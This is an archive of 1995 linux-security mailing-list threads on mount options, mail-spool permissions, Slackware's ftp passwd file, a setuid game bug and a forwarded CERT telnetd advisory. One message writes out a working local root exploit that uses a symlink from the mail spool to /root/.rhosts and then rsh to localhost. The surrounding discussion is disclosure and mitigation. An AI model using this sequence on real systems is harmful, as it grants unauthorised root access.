> and here are the results of a mount command: > > /dev/sr1 on /cd2 type iso9660 (ro,noexec,nosuid,nodev,unhide) > /dev/sr2 on /cd3 type iso9660 (ro,noexec,nosuid,nodev,unhide) > /dev/sr3 on /cd4 type iso9660 (ro,noexec,nosuid,nodev,unhide) > > It sure looks to me like it's working. But the point is whether nosuid is honored by the kernel. The mount command simply copies the options from fstab into mtab, so what the above mount invocation shows is that the options were indeed copied correctly, no more. If you find the time, can you please check what happens if you invoke a setuid program on your cdrom and post the results to the list? I currently don't have a cd drive at home. You are indeed correct. The noexec option *is* honored but the nosuid option is not. I've briefly perused the kernel source but I don't see why this should be the case. Leonard linux-security/1995/linux-security.951022100664 1767 1767 5624 6042511352 17231 0ustar majdommajdomFrom [email protected] Sun Oct 22 14:52:15 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA12282; Sun, 22 Oct 1995 14:32:27 -0400 Received: from tango.rahul.net (tango.rahul.net [192.160.13.5]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id XAA09738; Sat, 21 Oct 1995 23:01:51 -0400 Received: from dandelion.com by tango.rahul.net with SMTP id AA16950 (5.67b8/IDA-1.5 for ); Sat, 21 Oct 1995 20:01:40 -0700 Received: (from lnz@localhost) by dandelion.com (8.7.1/8.7.1) id UAA26409; Sat, 21 Oct 1995 20:01:38 -0700 Date: Sat, 21 Oct 1995 20:01:38 -0700 From: "Leonard N. Zubkoff" Message-Id: <[email protected]> To: [email protected] Cc: [email protected], [email protected] In-Reply-To: <[email protected]> ([email protected]) Subject: NOSUID on CD-ROMs Sender: [email protected] Precedence: list [mod: quoting trimmed slightly --okir] Date: Sat, 21 Oct 1995 13:14:02 -0700 From: "Leonard N. Zubkoff" You are indeed correct. The noexec option *is* honored but the nosuid option is not. I've briefly perused the kernel source but I don't see why this should be the case. It looks like my testing earlier today was flawed. I just started trying to track this problem down and I cannot now make the nosuid option fail to work correctly. It looks like I must have mistyped a mount command earlier. If anyone has a test case to the contrary, I'll revisit this. Sorry about that. Leonard From [email protected] Sun Oct 22 14:52:15 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA12288; Sun, 22 Oct 1995 14:32:34 -0400 Received: from thymaster.interaccess.com ([email protected] [198.80.0.36]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id UAA09063; Sat, 21 Oct 1995 20:23:45 -0400 Received: from omega-3.null.org ([email protected] [204.148.151.130]) by thymaster.interaccess.com (8.6.12/8.6.9) with SMTP id TAA08651 for ; Sat, 21 Oct 1995 19:18:36 -0500 Received: by omega-3.null.org (Linux Smail-3.1.28.1) id m0t6nAn-000RAiC; Sat, 21 Oct 95 18:17 CDT Message-Id: Date: Sat, 21 Oct 95 18:17 CDT From: [email protected] (Robert Nichols) To: [email protected] Subject: Re: mounting partitions nosuid Sender: [email protected] Precedence: list [mod: quoting trimmed --okir] [mod: does anyone know where I can purchase the above as a virtual rubber stamp? :) --okir] The suid permission bits will still appear to be set, but the kernel will refuse to execute the file ("Operation not permitted") for a non-root user. At least that's the way it works for me (1.2.13). -- Bob Nichols [email protected] linux-security/1995/linux-security.951026100664 1767 1767 26172 6044005152 17254 0ustar majdommajdomFrom [email protected] Thu Oct 26 15:18:00 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA27293; Thu, 26 Oct 1995 14:44:34 -0400 From: [email protected] Received: from scitsc.wlv.ac.uk (scitsc.wlv.ac.uk [134.220.4.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id VAA21497; Tue, 24 Oct 1995 21:10:25 -0400 Received: by scitsc.wlv.ac.uk (UK-Smail 3.1.28.1/38) id ; Wed, 25 Oct 95 00:18:33 0000 (GMT) Message-Id: >From: [email protected] (R.Arnold / Arny) Subject: /var/spool/mail permissions To: [email protected] Date: Wed, 25 Oct 1995 00:18:32 +0000 (GMT) Cc: cs6171@scitsc X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 2538 Sender: [email protected] Precedence: list Hello, People on comp. security. unix have suggested giving /var/spool/mail drwxrwxrwt permissions on linux. On my system I know that this is a BAD idea, and I told them so. My system (Slackware 2.0) runs Smail3.1.28.1 since I have not altered the mail setup since I have installed it. Now if I change /var/spool/mail to drwxrwxrwt a user can delete his mail file and replace it with a symbolic link to any file, mail is then written to this file as root (amusingly the ownership of the actual symbollic link is then changed). To use the typical example of root's .rhosts: arny> ls -ld /var/spool/mail drwxrwxrwt 2 root mail 1024 Oct 24 21:37 /var/spool/mail/ arny> cp /var/spool/mail/arny ~/myoldmailfile arny> rm /var/spool/mail/arny arny> ln -s /root/.rhosts /var/spool/mail/arny arny> echo localhost arny | mail arny arny> rsh localhost -l root 'sh -i' bash# id id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(shadow) bash# I have yet posted the above details, but just this evening I have received mail from five people asking for them. The thing is I'm not a great linux expert, although I do use it everyday. For a start I don't know the answers to the following questions: a) how many linux systems does this effect? b) has this problem to some extent been fixed in the latest distributions of linux? c) is this problem old news, has it been discussed before, how many people know about it? d) should I post the above 'exploit' details to comp.security.unix, since some people seem to need little excuse to criticise linux, which in this case would be unfair? (Having said that if I keep getting mail I may (almost) have to post it). Personally I think slackware really does have the right idea with: drwxrwxr-x 2 root mail 1024 Oct 24 22:44 /var/spool/mail/ and avoids a lot of problems such as race conditions etc. The only problem for me is that root is effectively trusting group mail, which IMO is not a very good idea, although plenty of other operating systems trust root to all sorts. I don't subscribe to this mailing list, so please cc all replys to: [email protected] Alternatively help me out a little here and post to comp.security.unix instead. Thanks, Arny - [email protected] -- unix/net/hack page Arny's Home Page From [email protected] Thu Oct 26 15:18:03 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA27280; Thu, 26 Oct 1995 14:44:01 -0400 From: [email protected] Received: from grolsch.cs.ubc.ca (grolsch-2.cs.ubc.ca [142.103.5.5]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id XAA21697; Tue, 24 Oct 1995 23:12:34 -0400 Received: from cascade.cs.ubc.ca ([email protected] [142.103.4.7]) by grolsch.cs.ubc.ca (8.6.10/8.6.9) with ESMTP id UAA05140 for ; Tue, 24 Oct 1995 20:11:51 -0700 Received: (duprat@localhost) by cascade.cs.ubc.ca (8.6.12/8.6.12) id UAA10052 for [email protected]; Tue, 24 Oct 1995 20:11:49 -0700 >From: "Jean-Luc Duprat" Message-Id: <[email protected]> Date: Tue, 24 Oct 1995 20:11:49 -0700 X-Mailer: Z-Mail Lite (3.2.0 5jul94) To: [email protected] Subject: slackware 3.0 bad hole Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: [email protected] Precedence: list I've just finished installing slackware 3.0 from the Walnut Creek cdrom and to my horror I saw that in ~ftp/etc the password file has root with no password: root-/home/ftp/etc>cat passwd root::0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/var/spool/news: uucp:*:10:14:uucp:/var/spool/uucp: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash ftp:*:404:1::/home/ftp:/bin/bash basically everyone running an ftp site on a slackware 3.0 system is at risk They should be aware that they need to put a * as password for ftp, and that they can remove most of the stuff in that pwd file... May be this would be more revlevant on the alert list... JL B -- ------------------------------------------------------------------------------ Jean-Luc Duprat University of British Columbia [email protected] http://www.cs.ubc.ca/spider/duprat/homepage.html From [email protected] Thu Oct 26 15:18:03 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA27287; Thu, 26 Oct 1995 14:44:20 -0400 Message-Id: <[email protected]> From: [email protected] (Olaf Kirch) To: [email protected] Subject: Re: slackware 3.0 bad hole Mime-Version: 1.0 Content-Type: text/plain Date: Wed, 25 Oct 1995 12:22:04 +0100 Sender: [email protected] Precedence: list Jean-Luc Duprat wrote: > I've just finished installing slackware 3.0 from the Walnut Creek cdrom and to > my horror I saw that in ~ftp/etc the password file has root with no password: Whether this is really a security problem depends on the ftpd you're using. wu-ftpd will not allow sub-logins from within the guest account. (Neither will it let you log into passwordless accounts, even if they appeared in /etc/passwd). So the question is which ftpd is Slackware using? Olaf From [email protected] Thu Oct 26 18:23:03 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA28261; Thu, 26 Oct 1995 18:19:04 -0400 Received: from tango.rahul.net (tango.rahul.net [192.160.13.5]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id RAA28005; Thu, 26 Oct 1995 17:12:29 -0400 Received: from dandelion.com by tango.rahul.net with SMTP id AA04646 (5.67b8/IDA-1.5 for ); Thu, 26 Oct 1995 13:15:54 -0700 Received: (from lnz@localhost) by dandelion.com (8.7.1/8.7.1) id NAA01158; Thu, 26 Oct 1995 13:15:53 -0700 Date: Thu, 26 Oct 1995 13:15:53 -0700 From: "Leonard N. Zubkoff" Message-Id: <[email protected]> Cc: [email protected], cs6171%[email protected] In-Reply-To: ([email protected]) Subject: Re: /var/spool/mail permissions Sender: [email protected] Precedence: list From: [email protected] Date: Wed, 25 Oct 1995 00:18:32 +0000 (GMT) People on comp. security. unix have suggested giving /var/spool/mail drwxrwxrwt permissions on linux. On my system I know that this is a BAD idea, and I told them so. I have my system setup with: kelewan:~> ll -d /var/spool/mail drwxrwsrwt 2 root mail 1024 Oct 26 13:09 /var/spool/mail/ I am running sendmail and using procmail as the local delivery agent. If I attempt your attack creating a link as in: kelewan:~> ll /var/spool/mail lrwxrwxrwx 1 lnz mail 10 Oct 26 13:11 lnz -> /tmp/xyzzy and then receive mail, procmail notices this attempt and corrects it: kelewan:~> ll /var/spool/mail lrwxrwxrwx 1 lnz mail 10 Oct 26 13:11 BOGUS.6u3 -> /tmp/xyzzy -rw------- 1 lnz mail 333 Oct 26 13:12 lnz One of the things I like about procmail... Leonard From [email protected] Thu Oct 26 18:23:32 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA28267; Thu, 26 Oct 1995 18:19:14 -0400 Received: from sii.com ([email protected] [192.112.246.254]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id QAA27758; Thu, 26 Oct 1995 16:29:51 -0400 Received: from sii-4-30.sii.com (sii-4-30.sii.com [155.190.4.30]) by sii.com (8.7.Beta.13/8.7.Beta.10) with ESMTP id NAA11890; Thu, 26 Oct 1995 13:29:40 -0700 Received: (from longyear@localhost) by sii-4-30.sii.com (8.7/8.7) id NAA00290; Thu, 26 Oct 1995 13:29:39 -0700 From: "Al Longyear" Message-Id: <[email protected]> Subject: Re: slackware 3.0 bad hole To: [email protected] (Olaf Kirch) Date: Thu, 26 Oct 1995 13:29:39 -0700 (PDT) Cc: [email protected] In-Reply-To: <[email protected]> from "Olaf Kirch" at Oct 25, 95 12:22:04 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > Jean-Luc Duprat wrote: > > I've just finished installing slackware 3.0 from the Walnut Creek cdrom and to > > my horror I saw that in ~ftp/etc the password file has root with no password: > > Whether this is really a security problem depends on the ftpd you're > using. wu-ftpd will not allow sub-logins from within the guest account. > (Neither will it let you log into passwordless accounts, even if they > appeared in /etc/passwd). > > So the question is which ftpd is Slackware using? It does not matter what version of Slackware is being used. It does not matter which version or what program of ftpd is being used. They all operate the same way when it comes to this. Read my lips . . . . THIS IS NOT A BUG. The 'panic' message about 'horror' conditions was posted by someone who didn't do his homework. There are enough real security holes in most any UNIX platform so that we don't need phantom ones from un-educated users. The files in the ~ftp/etc directory are there for the sole use of the 'ls' program for anonymous ftp users only. All that is used is the name of the account and the account id. The anonymous ftp system will operate just fine if you totally removed all of the files in ~ftp/etc. The only difference would be that you would get numbers for the 'ls -l' function rather than cute names. -- Al Longyear [email protected] The above opinions do not necessarily represent those of the Management of System Integrators nor any of its subsidiaries. linux-security/1995/linux-security.951027100664 1767 1767 16652 6044266447 17277 0ustar majdommajdomFrom [email protected] Fri Oct 27 17:40:01 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA01143; Fri, 27 Oct 1995 17:00:10 -0400 Received: from colargol.idb.hist.no ([email protected] [158.38.60.230]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id GAA32599; Fri, 27 Oct 1995 06:02:06 -0400 Received: by colargol.idb.hist.no id m0t8lbu-0001ucC (/\oo/\ Smail3.1.29.1 #29.1); Fri, 27 Oct 95 11:02 MET Message-Id: From: Erlend Midttun Subject: Re: /var/spool/mail permissions To: [email protected] Date: Fri, 27 Oct 1995 11:02:01 +0100 (MET) Cc: [email protected] In-Reply-To: from "R.Arnold / Arny" at Oct 25, 95 00:18:32 am Organization: Soer-Troendelag College, Norway X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2695 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- [ /var/spool/mail permissions drwxrwxrwx bad idea ] > My system (Slackware 2.0) runs Smail3.1.28.1 since I have not altered the > mail setup since I have installed it. Now if I change /var/spool/mail to > drwxrwxrwt a user can delete his mail file and replace it with a symbolic > link to any file, mail is then written to this file as root (amusingly the > ownership of the actual symbollic link is then changed). You run a miscompiled version of Smail. It was compiled without HAVE_SETEUID and does not change it's uid to the actual recipent before delivering mail. On a system running a patched Smail 3.1.28 or a newer version (which does support Linux) this does not apply. > a) how many linux systems does this effect? At least all systems that use the version of Smail that came with Slackware prior to 2.2. > b) has this problem to some extent been fixed in the > latest distributions of linux? Slackware is now using sendmail as it's default. If a person should choose to install the verion of Smail that came with Slackware prior to 3.0, it is still the same binary. Slackware 3.0 includes Smail 3.1.29.1 which is secure. > c) is this problem old news, has it been discussed > before, how many people know about it? It came up as one out of three ugly bugs about a year ago. There were released patches that fixed them all, and the newer versions of Smail does not have these bugs. > d) should I post the above 'exploit' details to > comp.security.unix, since some people seem to need > little excuse to criticise linux, which in this case > would be unfair? (Having said that if I keep getting > mail I may (almost) have to post it). You could. The bug was having it's first birthday party around 14. oct this year. > Personally I think slackware really does have the right idea with: > drwxrwxr-x 2 root mail 1024 Oct 24 22:44 /var/spool/mail/ Sure does. > Thanks, > Arny - [email protected] Erlend.. - -- Erlend Midttun [email protected] IRC: Golle http://colargol.idb.hist.no/~erlendbm/ A Linux User PGP public key available upon finger request -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQEVAwUBMJCt0+iWtdu6znSNAQFlwwf+NHRWOV8UeOR7WtYC0bhWc4isQu0jTRpq 277q7OpQEfa2rbTTACuFegMj2866tCliGoPISjChYZjYA923hpfIAh3QHaFpavDz Sf898w+CwLYc00g5RKTTzkZ+Up1LgVgBSPpu/aR3Avg2/wRkZGdwsUQvXswD0ptQ RtiWm8929GScq+dF+7AGZOBpgmxc0jlvsqXNPfk4NRoD09nyr92DJlCuUvWemRDe E0t05CU9fZylwMZLmhWv1dkTlv1ugveqcmdszqXw4WbFA5EOuzePH28mJYQimdox YuD35CQ7r9GNTv2kYewyl2UaZUj8RJc4Egyt7wXJyj/a8qmibvsuIw== =SN2i -----END PGP SIGNATURE----- From [email protected] Fri Oct 27 17:40:03 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA01154; Fri, 27 Oct 1995 17:00:24 -0400 Received: from narq.avian.org ([199.103.168.126]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id OAA00780; Fri, 27 Oct 1995 14:38:11 -0400 Received: (from hobbit@localhost) by narq.avian.org (8.6.12/_H*) id NAA27032 for [email protected]; Fri, 27 Oct 1995 13:14:05 -0400 Date: Fri, 27 Oct 1995 13:14:05 -0400 From: *Hobbit* Message-Id: <[email protected]> To: [email protected] Subject: mail spool Sender: [email protected] Precedence: list Mine's been 755 owned by root for ages. I long ago scrapped procmail and am running the cert/wietse/whoever rehacked "mail.local" for final delivery. Works fine for me; my mailbox gets zeroed out but stays there after I read everything. Probably won't work for POP-based folks, though. My own take on it is that regular users shouldn't be able to write into the mail-spool directory at all, and only a few programs should be able to. Unfortunately the stock utilities on a lot of machines don't grok this philosophy [sunos comes to mind...] and I haven't had time to think about a Universal Fix for this problem that allows all mail clients to work. If I were to do so, though, I'd start with something like mail.local to deliver and a paranoidly hacked movemail to retrieve, and wrap everything else around same in a non-setuid way. _H* From [email protected] Fri Oct 27 19:37:06 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA01905; Fri, 27 Oct 1995 19:34:43 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id RAA01183; Fri, 27 Oct 1995 17:01:02 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0t8vsw-0005BDC; Fri, 27 Oct 95 22:00 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0t8wjy-00005AC; Fri, 27 Oct 95 22:55 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: Slackware ftpd wrap-up To: [email protected] Date: Fri, 27 Oct 1995 22:55:06 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1268 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi all, there have been a large number of followups concerning the `hole' in Slackware's ftp configuration, stating that: * Slackware 3.0 comes with wu-ftpd * Both wu-ftpd and diku-ftpd do not use ~ftp/etc/passwd to authenticate users. Thanks go to the following people (whose postings I did not approve): Tudor Popescu ([email protected]) Matt Sommer ([email protected]) James W. Abendschau ([email protected]) Matti Aarnio ([email protected]) Dan ([email protected]) Cheers Olaf PS: Note that while most ftpd's use ~ftp/etc/passwd only for the mapping of uid's, you should not take this as a natural law. For instance, HP's ftpd allows anonymous users to re-authenticate themselves based on this file. - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMJFVKuFnVHXv40etAQFMGAP/VcOPbMCwUk9R2q+zsPhhLLDPEcqQIQ6S OzUCG4qmFEuud0H0SwF9XDEyNZkmkZS+lgtE3llWal7SXwqcWSrja61+AubuC+bB Y5/lunBq/BtQu3EdJliaqK20z1ODHcQQ+DYL17QZhlkc0r3tNqn3LEus5as12Wfe P/Zso9HjkRE= =2XWK -----END PGP SIGNATURE----- linux-security/1995/linux-security.951030100664 1767 1767 2507 6045173400 17226 0ustar majdommajdomFrom [email protected] Mon Oct 30 11:02:02 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id KAA12177; Mon, 30 Oct 1995 10:02:18 -0500 From: [email protected] Received: from newsgate.dircon.co.uk ([email protected] [194.129.52.15]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id GAA11833; Mon, 30 Oct 1995 06:57:16 -0500 Received: (from cymru@localhost) by newsgate.dircon.co.uk (8.6.12/8.6.9) with UUCP id LAA06733 for [email protected]; Mon, 30 Oct 1995 11:25:21 GMT Received: (from alan@localhost) by snowcrash.cymru.net (8.7.1/8.7.1) id LAA24307 for [email protected]; Mon, 30 Oct 1995 11:07:35 GMT Date: Mon, 30 Oct 1995 11:07:35 GMT >From: Alan Cox Message-Id: <[email protected]> To: [email protected] Subject: Minor security problem. Sender: [email protected] Precedence: list The Linux version of Zorst's Yahtzee due to its age has a #if 0 rename(.... #else system("mv ... .. #endif In it. This means its rather easy to exploit if installed setuid games for its score file. I've fixed this , colourised it and switchd it to ncurses. The announce mentions a minor security fix but doesn't say what - so now you will know. Alan linux-security/1995/linux-security.951105100664 1767 1767 214413 6047237406 17303 0ustar majdommajdomFrom [email protected] Sun Nov 5 16:02:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06115; Sun, 5 Nov 1995 15:34:14 -0500 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id SAA26245; Thu, 2 Nov 1995 18:25:39 -0500 Received: from FOUNDATION.MIT.EDU by MIT.EDU with SMTP id AA27282; Thu, 2 Nov 95 18:24:51 EST Received: from localhost by foundation.mit.edu (8.6.10/4.7) id SAA19520; Thu, 2 Nov 1995 18:25:31 -0500 Message-Id: <[email protected]> To: [email protected] Subject: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Date: Thu, 02 Nov 1995 18:25:29 -0500 From: Erik Nygren Sender: [email protected] Precedence: list [Note to moderator: Feel free to modify this message in any way you see fit. I just thought that fixes for this should be sent to or announced on linux-alert or comp.os.linux.announce as soon as possible.] This vulnerability affects Linux as well as many other platforms. Either the full advisory or at least some subset of it should be sent out to linux-alert. To summarize, telnet allows you to pass environmental options to telnetd which sets them before calling login. This allows LD_LIBRARY_PATH and other variables used by ld.so to be set before login is called. Because login is being called by a process running as root (rather than being a suid root executable) the LD_LIBRARY_PATH variable may be set, causing an alternate version of libc to be called by login as root. Using this vulnerability, any user can gain root access to a machine. A local account is not required for machines with a networked file system (such as AFS or NFS) or a writable ftp directory. The CERT announcement follows: ============================================================================= CA-95:14 CERT Advisory November 1, 1995 Telnetd Environment Vulnerability ----------------------------------------------------------------------------- The CERT Coordination Center has been made aware of a vulnerability with some telnet daemons. The daemons affected are those that support RFC 1408 or RFC 1572, both titled "Telnet Environment Option," running on systems that also support shared object libraries. To determine if your system is potentially vulnerable, refer to the information we have received from vendors which is summarized in Section III below; details are in Appendix A and reproduced in the CA-95:14.README file. Note that if you installed a version of David Borman's telnet package that is older than October 23, 1995, your system may be vulnerable even though it was not vulnerable as distributed by the vendor. If your vendor is not listed, you will need to determine if your system may be vulnerable. First, determine if your telnet daemon is RFC 1408/1572 compliant. One indication that it is compliant is if your telnet(1) program supports the "environ" command or your telnetd(8) program supports the ENVIRON or NEW-ENVIRON options. Unless you are certain that your telnet daemon is not RFC 1408/1572 compliant, you may wish to assume it is to be safe. Second, determine if your system supports shared libraries. To do this, consult the ld(1) manual page. If it describes dynamic or shared objects, your system probably supports shared object libraries. A system is potentially vulnerable if the telnet daemon supports RFC 1408/RFC 1572 and the system supports shared object libraries. We recommend that you follow your vendor's directions for addressing this vulnerability. Until you can install a patch, we recommend using the workaround in Appendix B below. If you have previously installed David Borman's telnet package on your system, we recommend that you obtain the current version of telnet (see Section III.C). As we receive additional information relating to this advisory, we will place it in: ftp://info.cert.org/pub/cert_advisories/CA-95:14.README We encourage you to check our README files regularly for updates on advisories that relate to your site. ----------------------------------------------------------------------------- I. Description Some telnet daemons support RFC 1408 or RFC 1572, both titled "Telnet Environment Option." This extension to telnet provides the ability to transfer environment variables from one system to another. If the remote or targeted system, the one to which the telnet is connecting, is running an RFC 1408/RFC 1572-compliant telnet daemon *and* the targeted system also supports shared object libraries, then it may be possible to transfer environment variables that influence the login program called by the telnet daemon. By influencing that targeted system, a user may be able to bypass the normal login and authentication scheme and may become root on that system. Users with accounts on the targeted system can exploit this vulnerability. Users without accounts on that system can also exploit this vulnerability if they are first able to deposit an altered shared object library onto the targeted system. Therefore, a system may be vulnerable to users with and without local accounts. Not all systems that run an RFC 1408/RFC 1572-compliant telnet daemon and support shared object libraries are vulnerable. Some vendors have changed the trust model such that environment variables provided by the telnet daemon are not trusted and therefore are not used by the login program. Section III contains a summary of information vendors have reported as of the date of this advisory. II. Impact Local and remote users can become root on the targeted system. III. Solution The general solution to this problem is to replace the telnet daemon with one that changes the environment given to the login program. We recommend that you install a patch from your vendor if possible. If this is not possible, we recommend using the workaround in Appendix B until you can install a patch. Finally, if you have previously installed Mr. Borman's telnet package, see Section C for how to get a new version that fixes the vulnerability. A. Vendor Patches Below is a summary of the vendors listed in the current version of the CA-95:14.README file, and the status they have provided. More complete information, including how to obtain patches, is provided in Appendix A of this advisory and reproduced in the README file. We will update the README file as we receive more information from vendors. If your vendor's name is not on this list, please contact the vendor directly. REMINDER: If you installed a version of David Borman's telnet package that is older than October 23, 1995, your system may be vulnerable even though it was not vulnerable as distributed by the vendor. Vendor or Source Status ---------------- ------------ Apple Computer not vulnerable Berkeley Software Design not vulnerable Cray Research not vulnerable CYGNUS cns-95q1 - vulnerable cns-95q4 - not vulnerable Data General not vulnerable Digital Equipment Ultrix - not vulnerable OSF/1 - vulnerable FreeBSD vulnerable Harris not vulnerable Hewlett-Packard not vulnerable Linux Debian - vulnerable Red Hat - vulnerable Slackware - appears vulnerable MIT-distributed for Athena vulnerable NetBSD 1.0 - vulnerable current - not vulnerable NEC vulnerable Open Software Foundation OSF/1 version 1.3 not vulnerable OpenVision OpenV*Secure 1.2 - vulnerable SCO not vulnerable SGI 5.2, 5.3, 6.0.1, 6.1 - vulnerable Sony Corp. NEWS-OS 6.x - not vulnerable B. Workaround Until you can install a patch from your vendor, you can use the workaround provided in Appendix B. C. If you have installed a previous version of Mr. Borman's telnet package, note that he has fixed this problem in the version available at the following location: ftp://ftp.cray.com/src/telnet/telnet.95.10.23.NE.tar.Z MD5 checksum 2e14879a5b0aa6dd855a17fa8a3086cf --------------------------------------------------------------------------- The CERT Coordination Center staff thanks Eric Halil of AUSCERT, Wolfgang Ley of DFNCERT, and Sam Hartman of the MIT Kerberos Development team for their support in responding to this problem. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise that the email be encrypted. The CERT Coordination Center can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT staff for details). Internet email: [email protected] Telephone: +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 USA CERT advisories and bulletins are posted on the USENET newsgroup comp.security.announce. If you would like to have future advisories and bulletins mailed to you or to a mail exploder at your site, please send mail to [email protected]. Past CERT publications, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from info.cert.org. Copyright 1995 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for non-commercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. .............................................................................. Appendix A: Vendor Information Current as of November 1, 1995 See CA-95.14.README for updated information Below is information we have received from vendors. If you do not see your vendor's name below, contact the vendor directly for information. Apple Computer, Inc. -------------------- Apple's A/UX is not vulnerable. Berkeley Software Design, Inc. ----------------------------- BSDI's BSD/OS is not vulnerable. Cray Research, Inc. ------------------- Cray's UNICOS is not vulnerable. CYGNUS Network Security V4 Free Network Release ---------------------------------------------------- cns-95q1 is vulnerable. cns-95q4 is not vulnerable. Customers can use the following URL to obtain the patch: http://www.cygnus.com/data/cns/telnetdpatch.html If customers are unable to obtain the patch in this manner or have any questions, send e-mail to [email protected]/ Note that while the URL and patch are already available, there is no link to the page yet. We will add a link once the announcement has been made. Data General Corporation ------------------------ Data General believes the DG/UX operating system to be NOT vulnerable to this problem. This includes all supported releases, DG/UX 5.4 Release 3.00, DG/UX 5.4 Release 3.10, DG/UX Release 4.10 and all related Trusted DG/UX releases. Specifically, telnetd shipped in DG/UX does not support environment options and does not support RFC 1572. Digital Equipment Corporation ----------------------------- Digital's OSF/1: vulnerable Digital's ULTRIX: not vulnerable Digital has corrected this potential vulnerability. Patches containing new images for Digital's OSF/1 platforms are being provided to your normal Digital Support channels beginning October 31 (U.S. time). The kits may be identified as ECO SSRT0367 (telnetd) for DEC OSF/1 V2.0 thru V3.2c This potential vulnerability is not present on Digital's ULTRIX systems. Digital distribution of this announcement will be via AES services (DIA, DSNlink FLASH etc.). Digital Equipment Corporation strongly urges Customers to upgrade to a minimum of DEC OSF/1 V3.0, then apply this patch. FreeBSD ------- Vulnerable. A patch has been applied to the current development FreeBSD source tree which is not yet released. This patch is slightly modified compared to posted one, i.e. only variables which affects FreeBSD are disabled. It is telnetd patch, not a login wrapper. For the official patch, location please contact: Jordan Hubbard Harris ------ Harris Computer Systems Corporation's Night Hawk is not vulnerable. Hewlett-Packard Company ----------------------- HP/UX is not vulnerable. Linux (freely available software; not a vendor) ----- Debian GNU/Linux (From "Peter Tobias" ): The current version of the Debian GNU/Linux distribution (released 10/27/95) is not vulnerable anymore. All Debian Installations that use a netstd package version prior to v1.21-1 are vulnerable (telnetd is part of the netstd package). netstd-1.21-1 and above are ok. Patches are available. Peter fixed the bug last week and uploaded the fixed version to our ftp site (ftp.debian.org). Binaries, sources and the diffs against the bsd telnetd can be found there. The URL for the new binary package is: ftp://ftp.debian.org/debian/debian-0.93/binary/net/netstd-1.21-1.deb and the sources and the diff against the bsd telnetd can be found at: ftp://ftp.debian.org/debian/debian-0.93/source/net/netstd-1.21-1/telnetd.tar.gz 